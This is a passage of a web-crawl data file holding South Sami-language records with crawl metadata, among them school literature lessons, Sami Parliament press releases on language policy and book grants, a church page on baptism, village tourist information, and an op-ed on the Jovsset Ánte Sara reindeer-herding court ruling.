novellesne heannadamme\n- Dialåågh jallh sceenh\n- Referaate, tjaelije åenehks tjaala mij heannedeminie\nGïele jïh baakoeh veeljedh\nNovellh ovmessie stijle-daltesh utnieh. Vuesiehtimmien gaavhtan vihkeles vueptiestidh jis tjaalegisnie lea aarkebiejjien-gïele, noere-gïele jallh byjjes gïele. Aaj tjaelije maahta ovmessie stijle-daltesh utnedh seamma tjaalegisnie.\nBaakoeh\n|Saemien||Daaroen|\n|jïjtsevoete||egenskap|\n|ålkoe-jïjtsevoeth||ytre egenskaper|\n|sisnjelds-jïjtsevoeth||indre egenskaper|\n|jïjtjevoete||personlighet|\n|tjoele||kjønn|\n|statihke||statisk|\n|dynamihke||dynamisk|\n|byjresem buerkiestidh||skildre miljø|\n|aajmoe||stemning|\n|tjaatsestimmie||frampek|\n|stijle-daltese||stilnivå|\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171374","date":"2019-04-22T15:15:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00280.warc.gz","language":"sma","language_score":0.9999616146,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999616146087646}","num_words":296,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerien akte stoerre fokuse dan guhkiebasse barkose NOU:ste 2016:18 Vaajmoegïele, jïh aamhtesem buakta gïeledajvi jïh tjïeltekategoriji bïjre stoerretjåanghkose goeven.\n– Akte dejstie stööremes haestiemijstie mejtie utnebe daan biejjien lea daan beajjetje reeremedajve saemien gïelide eah krööhkesth gïeletsiehkie lea joekehts tjïelteste tjïeltese, Keskitalo jeahta.\nDaan beajjetje öörnegen tjïrrh gaajhkh tjïelth dejtie seamma åeliedimmide utnieh jalhts gïeletsiehkie jïh låhkoe saemiengïeleldh almetjijstie leah joekoen gellielaaketje.\n– Njoelkedassh tjuerieh vuesiehtidh guktie lea rïektesisnie\nNOU2016:18 Vaajmoegïele aktem joekehts öörnegem raereste ovmessie kategorijigujmie tjïeltide mah leah saemien gïeledajvesne, gidtjh gïelevaarjelimmietjïelth, gïelejieliehtimmietjïelth jïh stoerrestaaretjïelth.\nSaemiedigkieraerie veanhtede akte gïeledajve ovmessie tjïeltekategorijigujmie jeenjemasth sijhtieh krööhkestidh tjïelti daerpiesvoeth jïh haestemh.\n– Mijjieh daejrebe gïeletsiehkie lea joekoen joekehts tjïeltine. Muvhtine tjïeltine saemien gïele lea jielije gaajhkine suerkine tjïeltesne, mearan jeatjah tjïeltine gïeletsiehkie gaajh jeatjahlaakan, jïh dejnie tjïeltine lea daerpies maahtoem tseegkedh saemien gïelesne. Dan åvteste joekoen vihkeles njoelkedassh dorjesuvvieh mah jeenjemesh vuesiehtieh guktie lea rïektesisnie, Keskitalo jeahta.\nRaereste göökte vielie tjïeltekategorijh\nSaemiedigkieraerie raereste gïelevierhtietjïelth akte orre kategorije sjædta lissine dejtie golme kategorijide mejtie gïelemoenehtse lea raeriestamme sov reektehtsisnie.\n– Mijjen leah göökte tjïelth gusnie saemien lea jienebelåhkoegïele. Daate eevre sjïere saemien gïeleektiedimmesne, jïh mijjen mïelen mietie sæjhta vihkeles årrodh gorredidh mijjieh båetijen aejkien annje tjïelth utnebe gusnie saemien gïele lea jienebelåhkoegïele. Mijjieh mïelebe daah tjïelth leah vierhtietjïelth, jïh vaajtelibie daah tjïelth edtjieh maehtedh såemies laavenjassh gorredidh mah nåhtojne sjidtieh abpe siebriedahkese, Keskitalo jeahta.\nSaemiedigkieraerie meala vihkeles vuesiehtidh aaj jeatjah tjïelth vihties åeliedimmieh dan saemien gïeleutnijen vööste utnieh, jïh raereste dan åvteste jeatjah tjïelth goh akte jïjtsh kategorije.\nSaemiedigkieraerie aaj vuajneme maereles unnebe staarh meatan vaeltedh gïeledajven sïjse, jïh raereste dan åvteste kategorije gohtjesåvva staaretjïelth sijjeste stoerrestaaretjïelth, guktie gïelemoenehtse raereste.\n– Saemien gïeledajve ij leah ajve dejtie saemien årroejidie, men aaj stoerre ulmiem åtna dan guhkiebasse barkoen gaavhtan dejstie jeatjah raeriestimmijste Vaajmoegïelesne. Mov mïelen mietie dle vihkeles mijjieh dam digkiedimmiem stoerretjåanghkosne vaeltebe, saemiedigkiepresidente Aili Keskitalo minngemosth jeahta.\nJis vielie bïevnesh sïjhth, gaskesadth saemiedigkiepresidentem Aili Keskitalo, +47 971 29 305","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Joekehts-gieletsiehkieh-joekehts-oeoernegh-daarpesjieh","date":"2019-05-22T11:06:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256797.20\/warc\/CC-MAIN-20190522103253-20190522125253-00320.warc.gz","language":"sma","language_score":0.9999774694,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999774694442749}","num_words":307,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iktesth mijjieh vaajesh soptsestamme: vaeresne, dålle-sijjien lïhke gosse lïegkedeminie, vïnhtsesne gosse gööleminie, daelvegi gåetesne j.n.v. Vaajese lea soptsese, aalkojne jïh galhkovinie. Dahkoe sjïere teeman bïjre jïh daamhtaj dåeriesmoeri bïjre.\nVaajesh leah gellie tjuetie jaepieh jåhteme, jïh dah leah ovmessie dajvide vïedteldihkie. Vaajesh maehtieh sih «saatnan» årrodh, dan åvteste dah heannadimmiej bïjre soptsestieh mah kaanne heannadamme jïh dah muvhtide sjïere sijjide, persovnide jallh heannadimmide vïedteldihkie. Muvhth soptsesh leah dan gellien aejkien soptsesovveme guktie jïjnjh joekehts åådtjeme. Nimhtie seamma soptsese maahta sijjeste sæjjan joekehtadtedh.\nMyten vaajesh\nMyten vaajesh lin aalkovistie histovrijen vaajesh. Maehtebe dejtie memoratine aaj gåhjodh. Memorate lea soptsese gusnie gie akt soptseste mah heannadamme gosse råakeme aelieh, saavjh, moenesjh jnv.\nMaadtoe-vaajesh\nDah eatnemem buerkiestieh goh sjïere gierkieh, vaerieh jïh aaj sijjie-nommh.\nHistovrijen vaajesh\nHistovrijen vaajesh soptsestieh mij heannadamme voenges sijjesne, dajvesne jallh rïjhkesne.\nBaakoe\nSaemien\nDaaroen\nmaadtoe-vaajese\nopphavssagn\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129507","date":"2019-05-27T12:28:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232262369.94\/warc\/CC-MAIN-20190527105804-20190527131804-00396.warc.gz","language":"sma","language_score":0.9996649027,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9996649026870728}","num_words":255,"character_repetition_ratio":0.196,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Klicka på bilderna för ett större format.\nBuerie båeteme Linsellvoenese\nAktem voenem madtjeles historihkine jïh håhkoem båetije biejjide!\nDaesnie mij akt gaajhkide gååvnese, stuaride jïh arrijh voenesne. Daesnie aktem voenesiebriem mij musihke-prïhtjhgåetieh jïh jeatjah darjomh giesege dovne daelvege öörnien. Daesnie aaj gellieh darjomh ovmessie bransjine.\nLinselle vuesehte ahte åvtelisnie guavla gåessie jallan gaajhkide gåetide baahtsemem gaskavearman veartenasse utnieh, gamte-baantine\" fijberen tjïrrh.\nGuktie eelki\nLjusnanen vaegkiem gusnie Linåne jïh Råndane jeanose båetiejægan almetjh dejpeli årromesijjiem gaavnin. Gööles jeanoem, skåajjesne juvrh lij jïh buerie eatnemem gusnie buektiehtin sjïdtedh. Bïjre jarkan voenem maehtien vijremesvaalkh vuejnedh, såemies vuebnieh gusnie ruevtieh stealladin jïh buvrieh mah mojhtesh dejpeladtjistie vedtieh.\nLinsellborrenen eatnemereservaate\nDah stoerre gierkiegæstojde Linsellborrenen eatnemereservaatesne måjhtije guktie skåajjem jïh dïmpererïehkemem vihkeles lij. Daesnie aktem dïmpererïehkeme- museeume aaj gååvnese. Bïevnesetaavlah eatnemereservaaten bïjre tjöödtjessijjesne Linsellen bovren lïhke gååvnese.\nGööleme\nGöölemem Linselle-Ransjöesne göölemedajvesne gaajh lyjhkedihks lea. Sjïere Randåne mij ov-regleereme, menh aaj fuerside Linsellborrenen lïhke jïh Ransjöpruvvien lïhke. Haerrieh jïh dååpmehkh biksieh jis tuvrem åtnah. Låedtjies tjaetside jïh Linsellejaevresne aaj sïjhkh, gaajtoeh jïh sïhtegh aaj gååvnese. Olkese pleentemem dååpmehkijstie, raavrijste jïh aatjanbalve -loesijste daamhtah darjoen såemies tjonnine. Jienebh bïevnesh göölemen bïjre daesnie gaavnh: linsell-ransjö.se\nGærhkoem\nFealadimmiem Linsellen tjïrrh ij gåaredh baajedh arrijh gærhkose goevledh. Dïhte buerie mïnnemem. Tjaebpies, veelkes moeregærhkoem arrijidie bigkin gåessie voenen bigkememïestere Pehr Tholsson jaepiem 1778 lijrehti.\nJienebh bïevnesh mij Linsellvoenesne deahpede voenen gåetiesæjrosne linsell.se gååvnese.\nSidinformation","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/kommun.herjedalen.se\/omkommunen\/kartor\/informationstavlorikommunen\/informationstavlalinsellbygden.4.72e78ea1157f6caac322008d.html","date":"2019-06-20T01:58:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999130.50\/warc\/CC-MAIN-20190620004625-20190620030625-00001.warc.gz","language":"sma","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999935626983643}","num_words":221,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavkome - fuelhkiehïeje\nLaavkome lea aavoen hïejefuelhkide jïhslïektese , nuepie tjåanghkenidh jïh gijhtedh daam gien laavkodh jïh buerie-sjugniedassem sov jieleden åvteste rohkelidh. Laavkomen tjïrrh mijjem bööresåvva stuerebe fuelhkie-ektievoetese, veartenen kristeles gærhkoen ektievoetese jïh lïhtseginie jïjtje åålmegisnie jïh Sveerjen gærhkose.\nMaahta gaajhkine aalterinie laavkodh\nSveerjen gærhkoe maanah, noerh jïh geerve almetjh lååvkesåvva. Laavkome lea vadtese Jupmelen lïhkesvoeteste, Jupmielasse geelkesovvedh jïh Jupmelen gieriesvoetem jaehkedh. Dej maanaj åvteste eejhtegh veeljieh maam bööremes maanese, aaj laavkoemisnie: stuerebe jearsoesvoete jielemen feelemisnie. Gosse maana geerve sjædta dellie maahta jïjtje laavkomen bööremem vaestiedidh Jupmelen lïhke jieledh. Daam dorje skyllemelïerehtimmine jïh skylleminie. Sïjhth dov maanam lååvkesovvedh jallh sïjhth datne jïjtje lååvkesovvedh. Gaskesadth dov åålmegem.\nLaavkome lea bööredimmie\nJupmele jijtsedh learohkidie stillie vaedtsiehtidh jïh laavkodh jïh gaajhkem bueriem båetiebasse jåerhkedh mejtie dejtie lïereme. Dan vuekien mietie kristeles gærhkoe sjïdteme! Jeesusen stilleme almetjidie laavkodh vihkeles sjïdteme gærhkoen jieliemasse.\nLaavkome lea ræhpas okse, bööreme gaajhkide dovnide. Laavkomisnie laavkometjoevkesem båaltajehtedh jïh Jeesusen baakojde lohkedh:\n\"Manne leam eatnemen tjoevkese. Dïhte guhte mannem dåerede, ij galkh jemhkielisnie vaedtsedh. Jielemen tjoevkesem edtja utnedh.\"\nJohannesen vaentjele 8:12\nLaavkome lea bööreme Jeesusen learohke sjïdtedh, bööreme buerievoetem jåerhkedh jïh buerie gaavhtan gæmhpodh.\nManne leam eatnemen tjoevkese. Dïhte guhte mannem dåerede, ij galkh jemhkielisnie vaedtsedh. Jielemen tjoevkesem edtja utnedh.\nLaavkome aaj sakrameentine gohtjesåvva. Dïhte lea aejlies darjome, gaavnedimmie-sijjie almetjen jïh Jupmelen gaskem.\nDæjpeles raerieh\nJis datne sïjhth laavkomem utnedh sjïere biejjesne dellie byörh dov åålmegem gaskesadtedh buerie astosne. Mujhtieh aaj jiehtedh jis datne sïjhth hearra edtja saemiestidh jallh guektien gïeline soptsestidh. Laavkome-gyrhkesjimmie maahta gærhkosne, gåetesne jallh jeatjah sjïehteles sijjesne årrodh. Maahtah aaj hïeje-savkam laavkome-svarkeldahkese dængkodh åålmegisnie. Tjoerh naan aejkien savkan åvteste maeksedh, men laavkome namhtah. Veelkes laavkome-gapta tjaebpies vuekie men ij leah obligatovreles. Gellie åålmegh laavkome-gaptam utnieh maam maahta löönedh. Eejhtegh laavkomen bïjre nænnoestieh gosse maanam jallh noerem laavkodh. Jis maana göökte åelieh åtna dellie gåabpatjahkh tjoerijægan laavkomem dåhkasjehtedh. Jis maana båarasåbpoe 12 jaepeste tjuara dam gihtjedh jis sæjhta lååvkesovvedh. Ij leah krïeveme eejhtegh edtjieh gærhkoem gærhkoen lïhtsegh årrodh jis maanam edtjigan laavkodh. Laavkome lea sjïere deahpadimmie. Jis datne aerebi låvkesovveme, jallh lea lïhtseginie jeatjah kristeles gærhkosne, öörnegen mietie daate kristeles laavkome Sveerjen gærhkosne aaj.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.svenskakyrkan.se\/laavkome","date":"2019-06-20T16:17:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999261.43\/warc\/CC-MAIN-20190620145650-20190620171650-00143.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":342,"character_repetition_ratio":0.057,"word_repetition_ratio":0.042,"special_characters_ratio":0.14,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie 230 000 kråvnah vadta bertemasse Golllegiella juktie noerhtesaemien diktegærjam Ándagassii Sápmi bæjhkoehtidh. Ánne Márjá Guttorm Graven daam diktegærjam tjaaleme, mij lea ussjedamme noeride jïh geerve almetjidie. Gærjesne teemah mah leah noeri haestemi bïjre jieliedisnie, vuesiehtimmien gaavhtan dåeriesmoerh aemieluesemen bïjre.\n– Gærja aktem tïjjesjyöhtehke jïh vihkeles teemam åtna, saemiedigkieraerie Henrik Olsen jeahta.\nGraven lea meatan orreme tjaelijelohkemisnie Čális fal, man åvteste Saemiedigkie jïh Sámi girječálliid searvi\/Sámi dáiddárráđđi dïedtem åtneme.\n– Mijjieh jienebh orre saemien tjaelijh daarpesjibie jïh manne aavone mijjieh vihth vuejnebe mijjieh hijven manush åadtjobe dejstie mah lohkemem Čális fal tjirrehtieh, Olsen jeahta.\nDåarjoe maanagærjide\nDåarjoe aaj vadtasovveme 305 000 kråvnine bertemasse Bárus SA, göökte gærjide Nilla ja Ádegáhttu, mejtie Jens Martin Mienna lea tjaaleme. Gærjah leah ussjedamme maanide aaltarisnie golme – gaektsie jaepieh.\n– Mienna lea joe akte tjaelije mij sjïerelaakan jïh ïedtjielaakan tjaala. Dan åvteste sjollehke mijjieh maehtebe dåarjoem vedtedh orre maanagærjide mejtie dïhte lea tjaaleme. Vaenie gærjah smaave maanide saemiengïelesne luehkiejgujmie jïh jeatjah veeljemenuepiejgujmie, dan åvteste daate gærja akte hijven dåarjoe, Olsen jeahta.\nLissine Trööndelagen fylhkengærjagåetie 300 000 kråvnah dåarjojne åådtje juktie barkoem jåerhkedh maanagærjah åarjelsaemien gïelese jarkoestidh. Daelie 17 tihtelh soejkesjeminie jïh akte prioriteradamme ulmie jienebh gærjah bæjhkoehtidh båarasåbpoe maanide jïh noeride. Åajvahkommes soejkesje tjoejegærjah jarkoestidh åarjelsaemien gïelesne, men daan jaepien aaj soejkesjeminie julev- jïh pijtesaemien gærjah jarkoestidh.\n– Akte hijven dåarjoe lidteratuvrem bæjhkoehtidh maanide åajvahkommes åarjelsaemien gïelesne, jïh aaj jeatjah saemien gïeline, Olsen jeahta.\nOrre ohtsememierie daan tjaktjen\nDïhte mij lea orre daan jaepien lea Saemiedigkien leah göökte ohtsememierieh juktie saemien lidteratuvrem bæjhkoehtidh. Mubpie ohtsememierie dåarjoeöörnegese produksjovne saemien lidteratuvreste lea rïhkeden 1. b. 2019.\n– Mijjieh gegkiestibie jienebh hijven ohtsemh båetieh aaj mubpien aejkien, Olsen minngemosth jeahta.\nBertemh jallh sïelth mah eah ryöktesth dåarjoem åadtjoeh bertemasse maehtieh dam ohtsemebaseradamme öörnegem syökedh dorjemasse lidteratuvreste. Saemiedigkie lea lissine ryöktesth dåarjoem vadteme njieljie millijovnh kråvnine 2019 saemien bertemidie, juktie saemien lidteratuvrem bæjhkoehtidh.\nJis gyhtjelassh jallh gihtjehtimmieh gaskesadth saemiedigkieraeriem Henrik Olsen, tlf +47 907 75 219","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Daaarjoem-vadteme-saemien-lidteratuvrese","date":"2019-07-19T12:18:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526237.47\/warc\/CC-MAIN-20190719115720-20190719141720-00467.warc.gz","language":"sma","language_score":0.9999890327,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999890327453613}","num_words":298,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh daelie aktem åajvoeh aavoedimmiem heevehtimmievåhkoste Tråante 2017 galhkeme gusnie saemieh gaajhkijste njieljie laantijste vihth tjåanghkenin. Manne vïenhtem Elsa Laula Renberg lij sïjhteme garmere jïh geerjene årrodh dastegh dïhte lij åådtjeme dååjredh guktie saemien kultuvre lij våajnoes Tråantesne, abpe våhkoen tjïrrh.\nSïjhtem gaajhkide gijhtedh mah lin stïeresne aavoedimmesne, maam sïjhtebe mujhtedh goh akte dååjrese jieliedasse, jïh goh akte vyörtegs meerhkesjimmie 100-jaepienheevehtimmeste dan voestes saemien rijhketjåanghkose. Jïjnjh gæjhtoeh Tråanten staarese jïh gaajhkide staaren årroejidie mah mijjem læjnoeslaakan dåastoehtin saevehten saemien saevegigujmie jïh mejjesne almetjigujmie gaatojne.\nAavoedimmie saemien åålmegebiejjeste goevten 6.b. lea joekoen vihkeles mijjese. Akte biejjie gusnie vuajnalgibie jïh jååhkesjamme sjïdtebe – jïh akte biejjie gusnie mijjieh mijjen raastennamhtah ektievoetem aavoedibie. Stoerre vihkelesvoetem åtna mijjese gosse maanagïerth, skuvlh jïh tjïelth dejnie saemien saevieginie saeviehtieh jïh biejjiem mijjine aavoedieh. Daate mijjen vaajmoeh baahkede jïh mijjese håhkoem vadta. Daan jaepien mov gïknjelassh tjarke böötin gosse dan jïjnjh klaeriedihks almetjh vööjnim Tåarjesne Tråantesne vuartasjim, gusnie garmeres saemieh gaajhkijste njieljie laantijste loevt-sæjraj tjåadtjoejin tjirkijigujmie jienebelåhkoen siebriedahkijste.\n100 jaepien gietjeste gïevre åarjelsaemien nyjsenæjjah saemieh dan voestes saemien rijhketjåanghkose tjöönghkin 1917. Jïjnje hijven lea sjugniehtovveme dan mænngan, men annje lea guhkie aajmene. Jïjnjh dejstie aamhtesijstie mejgujmie Elsa Laula Renberg jïh rijhketjåanghkoe barkin 100 jaepieh juassah leah seamma sjyöhtehke daan biejjien. Doh saemien gïelh leah håvhtadamme, saemien skuvlh steegkesuvvieh, saemien jielemh goh båatsoe jïh mearoegaedtiegööleme geahpanieh bïegkefaamoen, gruvagïehtelimmien jïh gueliebïepmehtimmien gaavhtan fjovline. Annje eejhtegh mah leah gæmhpoeminie sijjiem åadtjodh sijjen maanese saemien maanagïertesne jallh ihke maanah edtjieh saemien gïelelïerehtimmiem jallh lïerehtimmiem saemiengïelesne åadtjodh. Maanah mijjen båetije aejkie. Dah edtjieh gïelem jïh kultuvrem guhkiebasse guedtedh.\nDaan jaepien dam saemien gæmhpoem meerhkesjibie demokratijen, rïektesvoeten jïh gellievoeten åvteste tjuetie jaepiej tjïrrh. Mijjieh mijjen histovrijem, mijjen kultuvrem jïh gïelem jïh mijjen ektievoetem goh akte åålmege meerhkesjibie. Heevehtimmievåhkoe Tråantesne lea viehkiehtamme guktie jienebh vielie daajroem åådtjeme saemien gïelen jïh kultuvren bïjre, jïh mijjieh jïjnjh orre voelph åådtjeme mah dam saemien pryöjjadieh. Akte hijven åssjaldahke meatan utnedh abpe heevehtimmiejaepiem. Tråante 2017 lea mijjese orre skraejriem jïh håhkoem vadteme barkosne demokratijen jïh siebriedahkeevtiedimmien åvteste. Mijjieh annje dijjen dåarjoem daarpesjibie juktie gorredidh saemieh leah nænnoes stïeresne aaj båetijen aejkien.\nJïjnjh heelsegh\nVibeke Larsen, saemiedigkiepresidente","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Jijnjh-gaejhtoe-Traaante","date":"2019-07-21T23:03:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527396.78\/warc\/CC-MAIN-20190721225759-20190722011759-00219.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":342,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lohkijetjaalege saemiedigkiepresidentese Vibeke Larsen lij trygkesovveme paehperelåhkosne plaaran Nordlys njoktjen 22.b. 2017.\nDïhte noere båatsoesaemie Guovdageaidnuste aamhtesem tseegki staaten vööste mænngan goh Laanteburrie- jïh beapoedepartemeente lij nænnoestamme satne tjoeri bovtsetaalem giehpiedidh 150 bovtsijste 75 bovtside. Jovsset Ánte Sara lea iktesth tjïertestamme daate lij akte giehpiedimmie mestie idtji jieliemassem utnieh, naakede man bïjre digkiereakta aaj latjkaji. Men staate dåapmoem leejhti jïh minngemes bearjadahken (17.3.17) dellie aaj tjïelke sjïdti Sara aaj laakemaenniereaktesne vitni.\nHålogalaante laakemaenniereakta våaroemasse bïeji ij gåaredh ajve 75 bovtsigujmie gïehtelidh jïh dïenestem destie åadtjodh, jïh departemeenten nænnoestimmie lea dan åvteste akte mïedtelimmie Saran reakteste sov kultuvrine barkedh EN:n konvensjovnen mietie sivijle jïh politihkeles reaktaj bïjre. Laakemaenniereakta aaj tjïelkelaakan jeahta akte raaste gååvnese man stoerre goerpedehtemh staate maahta darjodh akten almetjen jieliedisnie – jïh daelie daan raasten bijjelen trööreme Jovsset Ánte Saran aamhtesisnie.\nMænngan 15 jaepieh åtneme daaroedehtieminie jïh stuvrehtimmine båatsoste mubpiej premissine dle minngemosth vihtiestamme båatsoealmetjen reakta jïjtse kultuvrese lea dïhte reerije prinsihpe, jïh mubpiej daerpiesvoete båatsoem stuvrehtidh mubpien sæjjan båata. Båatsoelaake jïjtsinie lea akte manifeeste staaten daerpiesvoetese båatsoem stuvrehtidh mubpiej daerpiesvoeti jïh premissi mietie. Daate dåapmoe tjuara sån jiehtedh båatsoelaake tjuara jeatjahtovvedh guktie dïhte lea gaskenasjonaale konvensjovni jïh almetjereaktaj mietie, aaj EN:n konvensjovne sivijle jïh politihkeles reaktaj bïjre artihkele 27 mij lea reaktan bïjre sov kultuvrine gïehtelidh sov dåehkien lïhtsegigujmie ektine.\nBïjre jarkan laantesne lea histovrijem don noere båatsoesaemien bïjre tjalmahtamme, jïh dåapmoe sæjhta aktem tïjjemålsomem bïejedh gusnie maehtebe soptsestidh Sara-aamhtesen åvtelen jïh mænngan. Laakemaenniereakta lea daejnie dåapmojne vihtiestamme EN:n konvensjovne sivijle jïh politihkeles reaktaj bïjre artihkele 27 vaarjele indivijden reaktan bïjre sov kultuvrine gïehtelidh. Politihkeles dïhte laakevedtije krirrie sïedtelgovveme jïh toelhkeste aalkoealmetji reaktam jïjtsh kultuvrine gïehtelidh mubpiejgujmie ektine dåehkiedaltesisnie.\nDåapmoe Hålogalaanten laakemaenniereakteste sæjhta aaj vihkelesvoetem åadtjodh gelline jeatjah aamhtesinie; aamhtesh bigkemedarjomi bïjre, reguleradimmieaamhtesh, aamhtesh gïelen jïh saemien maanagïertefaalenassem bïjre. Staate maahta jåerhkedh dov reaktam jïjtjedh kultuvrine gïehtelidh båarhte reguleradidh?\nNöörjen staate lea daejnie prosessine dom 25-jaepien båeries Jovsset Ánte Saram tjarke behtjiedamme. Naakede lea maehtedh nuepiem dassedh båatsoste jieledh, naakede jeatjah lea aktene gæmhposne nöörjen staaten vööste tjåadtjodh, goh Davide Goliaten vööste, dan aareh jieliedisnie. Jovsset Ánte Sara lea vyörtegsvoetem jïh vieksiesvoetem vuesiehtamme daennie aamhtesisnie. Gelliej jeatjah noeri saemiej åvteste mah sijhtieh bovtsigujmie aelkedh, dïhte gæmhpoem vaalteme jïh sov dïjrem dovne tjyölkehke jïh eerlegelaakan buakteme. Dïhte sïjhti ajve jieliemassem utniehtidh mejnie fuelhkie lea gïehtelamme gelline boelvine – jïh dïhte vitni. Ij leah ajve Jovsset Ánte mij leah vitneme, dåapmoe akte prinsihpeles seejebe gaajhkide saemide.\nFilmesne \"Veiviseren\" jaepeste 1987 åejviealmetje earoem åådtje jïh sïjten orre guvhkiehtæjjine sjædta filmen minngiegietjesne. Dåapmoe Hålogalaanten laakemaenniereakteste sæjhta mijjen guvhkiehtæjjine sjïdtedh. Gæjhtoe Jovsset Ánte Sara dov vïssjelesvoeten åvteste! Mijjieh jienebh gïelh daarpesjibie goh datne, jïh mijjieh ååredæjjam daarpesjibie dejtie haestiemidie mah leah mijjen uvte. Datne akte åvteguvvie gaajhkide mijjese. Jïjnjh gæjhtoeh!","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Lohkijetjaalege-Guvhkiehtaejja-Guovdageaidnuste","date":"2019-07-19T13:15:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526237.47\/warc\/CC-MAIN-20190719115720-20190719141720-00156.warc.gz","language":"sma","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 